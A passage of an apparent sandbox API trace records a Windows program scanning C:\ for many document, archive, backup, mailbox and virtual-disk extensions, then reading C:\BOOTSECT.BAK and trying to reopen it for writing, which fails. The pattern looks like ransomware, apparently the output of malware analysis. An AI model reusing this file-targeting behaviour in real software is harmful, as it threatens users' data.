FindFirstFileW (in: lpFileName="C:\\*.m3u", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.382] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.382] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.382] FindFirstFileW (in: lpFileName="C:\\*.m4u", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.382] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.382] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.382] FindFirstFileW (in: lpFileName="C:\\*.svg", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.383] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.383] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.383] FindFirstFileW (in: lpFileName="C:\\*.psd", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.383] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.383] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.383] FindFirstFileW (in: lpFileName="C:\\*.tiff", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.384] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.384] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.384] FindFirstFileW (in: lpFileName="C:\\*.tif", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.384] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.384] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.384] FindFirstFileW (in: lpFileName="C:\\*.raw", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae860) returned 1 [0137.385] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.385] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.385] FindFirstFileW (in: lpFileName="C:\\*.gif", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae7b0) returned 1 [0137.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae770) returned 1 [0137.385] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.385] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.385] FindFirstFileW (in: lpFileName="C:\\*.png", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.385] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.385] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.385] FindFirstFileW (in: lpFileName="C:\\*.bmp", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.386] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.386] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.386] FindFirstFileW (in: lpFileName="C:\\*.jpg", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.386] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.386] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.386] FindFirstFileW (in: lpFileName="C:\\*.jpeg", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.386] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.387] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.387] FindFirstFileW (in: lpFileName="C:\\*.iso", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.387] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.387] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.387] FindFirstFileW (in: lpFileName="C:\\*.backup", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.387] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.387] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.387] FindFirstFileW (in: lpFileName="C:\\*.zip", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.388] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.388] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.388] FindFirstFileW (in: lpFileName="C:\\*.rar", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.388] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.388] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.388] FindFirstFileW (in: lpFileName="C:\\*.tgz", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.388] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.388] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.388] FindFirstFileW (in: lpFileName="C:\\*.tar", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.389] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.389] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.389] FindFirstFileW (in: lpFileName="C:\\*.bak", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0x32f770 [0137.389] FindNextFileW (in: hFindFile=0x32f770, lpFindFileData=0x1ae550 | out: lpFindFileData=0x1ae550) returned 0 [0137.389] FindClose (in: hFindFile=0x32f770 | out: hFindFile=0x32f770) returned 1 [0137.389] GetFullPathNameW (in: lpFileName="C:\\BOOTSECT.BAK", nBufferLength=0x105, lpBuffer=0x1ae1c0, lpFilePart=0x0 | out: lpBuffer="C:\\BOOTSECT.BAK", lpFilePart=0x0) returned 0xf [0137.389] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d8 [0137.390] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae838 | out: lpFileSizeHigh=0x1ae838*=0x0) returned 0x2000 [0137.390] ReadFile (in: hFile=0x1d8, lpBuffer=0x29a4b50, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1ae768, lpOverlapped=0x0 | out: lpBuffer=0x29a4b50*, lpNumberOfBytesRead=0x1ae768*=0x2000, lpOverlapped=0x0) returned 1 [0137.398] GetFullPathNameW (in: lpFileName="C:\\BOOTSECT.BAK", nBufferLength=0x105, lpBuffer=0x1ae1c0, lpFilePart=0x0 | out: lpBuffer="C:\\BOOTSECT.BAK", lpFilePart=0x0) returned 0xf [0137.398] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0137.400] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.401] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.401] FindFirstFileW (in: lpFileName="C:\\*.ARC", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.401] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.401] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.401] FindFirstFileW (in: lpFileName="C:\\*.vmdk", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.401] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.401] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.402] FindFirstFileW (in: lpFileName="C:\\*.vdi", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.402] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.402] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.402] FindFirstFileW (in: lpFileName="C:\\*.sldm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.402] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.402] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.402] FindFirstFileW (in: lpFileName="C:\\*.sldx", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.403] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.403] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.403] FindFirstFileW (in: lpFileName="C:\\*.sti", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.403] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.403] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.403] FindFirstFileW (in: lpFileName="C:\\*.sxi", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.404] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.404] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.404] FindFirstFileW (in: lpFileName="C:\\*.dwg", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.404] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.404] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.404] FindFirstFileW (in: lpFileName="C:\\*.pdf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.404] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.404] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.404] FindFirstFileW (in: lpFileName="C:\\*.wk1", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.405] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.405] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.405] FindFirstFileW (in: lpFileName="C:\\*.wks", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.405] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.405] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.405] FindFirstFileW (in: lpFileName="C:\\*.rtf", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.405] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.405] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.405] FindFirstFileW (in: lpFileName="C:\\*.csv", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.406] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.406] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.406] FindFirstFileW (in: lpFileName="C:\\*.txt", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.406] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.406] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.406] FindFirstFileW (in: lpFileName="C:\\*.msg", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.406] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.407] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.407] FindFirstFileW (in: lpFileName="C:\\*.pst", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.407] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.407] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.407] FindFirstFileW (in: lpFileName="C:\\*.ppsx", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.407] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.407] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.407] FindFirstFileW (in: lpFileName="C:\\*.ppsm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.408] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.408] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.408] FindFirstFileW (in: lpFileName="C:\\*.pps", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.408] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.408] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.408] FindFirstFileW (in: lpFileName="C:\\*.pot", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.408] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.408] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.409] FindFirstFileW (in: lpFileName="C:\\*.pptm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.409] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.409] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.409] FindFirstFileW (in: lpFileName="C:\\*.pptx", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.409] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.409] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.409] FindFirstFileW (in: lpFileName="C:\\*.ppt", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.410] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.410] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.410] FindFirstFileW (in: lpFileName="C:\\*.Zhon", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.410] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.410] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.410] FindFirstFileW (in: lpFileName="C:\\*.xltm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.410] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.410] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.410] FindFirstFileW (in: lpFileName="C:\\*.xltx", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.411] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.411] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.411] FindFirstFileW (in: lpFileName="C:\\*.xlc", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.411] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.411] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.411] FindFirstFileW (in: lpFileName="C:\\*.xlm", lpFindFileData=0x1ae500 | out: lpFindFileData=0x1ae500) returned 0xffffffffffffffff [0137.411] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae350, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.412] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0137.412] FindFirstFileW (in: 